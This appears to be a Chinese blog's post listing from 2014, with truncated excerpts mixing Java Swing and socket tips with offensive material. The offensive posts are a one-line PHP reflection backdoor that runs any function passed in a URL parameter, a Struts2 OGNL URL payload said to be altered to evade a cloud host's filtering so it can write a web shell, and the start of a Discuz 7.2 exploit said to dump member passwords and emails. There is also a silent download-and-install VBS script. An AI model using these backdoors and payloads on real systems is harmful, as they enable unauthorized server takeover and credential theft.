2014-08-06 18:43:52

JPanel流水布局加滚动条

JPanel设置布局为WrapLayout:WrapLayout layout = new WrapLayout(FlowLayout.LEFT, 55, 30);最后把JPanel加到JScrollPane。 WrapLayout.java package org.javaweb.jrat.server.ui; import java.awt.Component; import java.awt.Container; import java.awt.Dimension; import java.awt.FlowLayout; import java.awt.Insets; import javax.swing.JScrollPane; import javax.swing.SwingUtilities; /** * FlowLayout subclass that fully supports wrapping of components. */ public class WrapLayout extends FlowLayout { private Dimension preferredLayoutSize; /** * Constructs a new <code>WrapLayout</code> with a left

2014-07-30 00:58:00

java socket 长连接read阻塞问题

解决的方法有3个 : 1 约定发送的数据长度,比如 http的 keepAlive 就是必须依赖这个的 Content-Length 2 设置超时的时间,根据我的经验,只有在Socket级别设置才有效. Socket socket = new Socket(host,port); socket.setSoTimeout(100); // 如果超过100毫秒还没有数据(根据你的实际情况设置延迟,传输大文件需要设置得大一些),则抛出 SocketTimeoutException 3 让发送端发送完数据后,关闭连接。 这个在Http的操作时很常见。 (InputStream如何判断数据已经读取结束) 某些时候无法修改客户端的情况下情况一就只有pass掉了,情况二相对来说比较适合,当阻塞后直接抛出一个异常。情况三不适合长连接,因为整个通信过程中链路是不能中断的,也不能调shutdown结束。其实还有第四种方法:当读取到某些字符就不在往下读取了,比如读取到byebye就break。但是这也需要改客户端代码。选了一种折中的办法-设置超时: StringBuilder sb = new StringBuilder(); try { client.setSoTimeout(500); while ((a = client.getInputStream().read(buf)) !=

2014-07-28 16:52:33

JavaSwing Jtree 自定义node(选中节点获取自定义节点信息)

如果选中一个节点直接通过node的text去获取很多时候是不行的,最简单的办法是继承DefaultMutableTreeNode类,重写toString和构造方法。 import java.awt.event.MouseAdapter; import java.awt.event.MouseEvent; import javax.swing.JFrame; import javax.swing.JTree; import javax.swing.tree.DefaultMutableTreeNode; public class TreeActionMap extends JFrame{ private static final long serialVersionUID = 1L; public static void main(String[] args) { JFrame j = new JFrame("Test"); j.setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); j.setSize(500, 300); j.setLocation(500, 300); NodeBean root = new NodeBean("用户列表&quo

2014-07-25 22:50:21

Jtree

隐藏root:jtree.setRootVisible(false); 2: import java.awt.BorderLayout; import javax.swing.JFrame; import javax.swing.JTree; import javax.swing.tree.DefaultMutableTreeNode; import javax.swing.tree.DefaultTreeModel; import javax.swing.tree.TreeNode; public class Admin extends JFrame{ private static final long serialVersionUID = 1L; private JTree createJTree() { JTree jTree = new JTree(); jTree.setRootVisible( false ); DefaultMutableTreeNode root = new DefaultMutableTreeNode("root node, should be invisible"); DefaultTreeModel defaultTreeModel = new DefaultTreeModel( root ); jT

2014-07-23 17:58:20

PHP反射后门

PHP反射后门,之前测试的时候不知道php有个反射function. PHP reflection反射应用 <?php $func = new ReflectionFunction($_GET[m]); echo $func->invokeArgs(array($_GET[c])); ?>

2014-07-23 17:32:48

vbs下载并静默安装jre

安装完成后可以回调,替换echo 123456789和pause就行了。 dim path set ws = CreateObject("WScript.Shell") set fso=createobject("scripting.filesystemobject") ''定义安装路径 path = ws.ExpandEnvironmentStrings("%windir%")+"\jre6\" ''创建目录 If (fso.FolderExists(path)) Then Else fso.createfolder(path) End If ''文件下载 Set xPost = CreateObject("Microsoft.XMLHTTP") Set sGet = CreateObject("ADODB.Stream") Sub DownloadToFile(url, file) xPost.Open "GET", url, False xPost.Send sGet.Type = 1 sGet.Open sGet.Write xPost.response

2014-07-17 01:23:24

google-diff-match-patch

一个google多语言diff源码和测试类,支持的语言有:Java, JavaScript, Dart, C++, C#, Objective C, Lua and Python。这货很方便,对比之后还可以生成html的diif代码片段。不是什么新玩意,项目最后更新时间是2012年。 项目地址:https://code.google.com/p/google-diff-match-patch/ 源码和测试类: http://pan.baidu.com/s/1ntG6kat google-diff-match-patch:用于对文本进行比对,匹配和补缀。它提供了强大的算法来进行同步纯文本所需的操作。 Diff: Compare two blocks of plain text and efficiently return a list of differences. Diff Demo Match: Given a search string, find its best fuzzy match in a block of plain text. Weighted for both accuracy and location. Match Demo Patch: Apply a list of patches onto plain text. Use best-effort to a

2014-07-14 16:11:56

阿里2013技术嘉年华文档和阿里2013 java技术文档

百度老删,只能私密分享了。阿里技术嘉年华文档都是公开的:http://adc.alibabatech.org/,内容非常丰富。至于那几个java文档从百度文库找的。 ADC•阿里技术嘉年华于7月13-14日在杭州举行。这是一场专属于<互联网工程师>的“技术盛宴”,倡导<干货分享>。 不仅有高含金量的“主题论坛“, 精彩的”Workshop“、“Tech Show”,还有互动好玩的“以书会友”、“码农照相馆” 、“招聘墙”、“运动区”等。 2013阿里技术嘉年华 、链接: http://pan.baidu.com/s/1pJ0mYyJ 密码: 4wmi 阿里-java-doc-2013、链接: http://pan.baidu.com/s/1sj0OT0x 密码: 2bhg

2014-07-14 10:32:12

Struts2 阿里云主机getshell

测试了下阿里云主机,似乎默认带了Struts2命令执行和Getshell的拦截。改了下就不拦了撒。 http://xxx.com/test.action?redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23p%3d%23req.getRealPath(%22/%22)%2b%23req.getParameter(%22f%22),%23s%3dnew+java.io.RandomAccessFile(%23p,%22rw%22),%23s.write(%23req.getParameter(%22c%22).getBytes()),%23s.close()}&f=文件.jsp&c=内容

2014-07-06 03:26:13

Discuz7.2.java

检测shell、获取基本信息、列当前数据下举所有表、统计会员数量、输出前20位会员id+密码+email、getshell import java.io.ByteArrayOutputStream; import java.io.UnsupportedEncodingException; import java.net.URL; import java.net.URLConnection; import java.net.URLEncoder; import java.util.ArrayList; import java.util.LinkedHashMap; import java.util.List; import java.util.Map; import java.util.regex.Matcher; import java.util.regex.Pattern; import org.apache.commons.codec.binary.Base64; import org.apache.commons.codec.digest.DigestUtils; import org.apache.commons.io.IOUtils; public class Discuz extends Thread { static int i = 0; /** * 模拟PH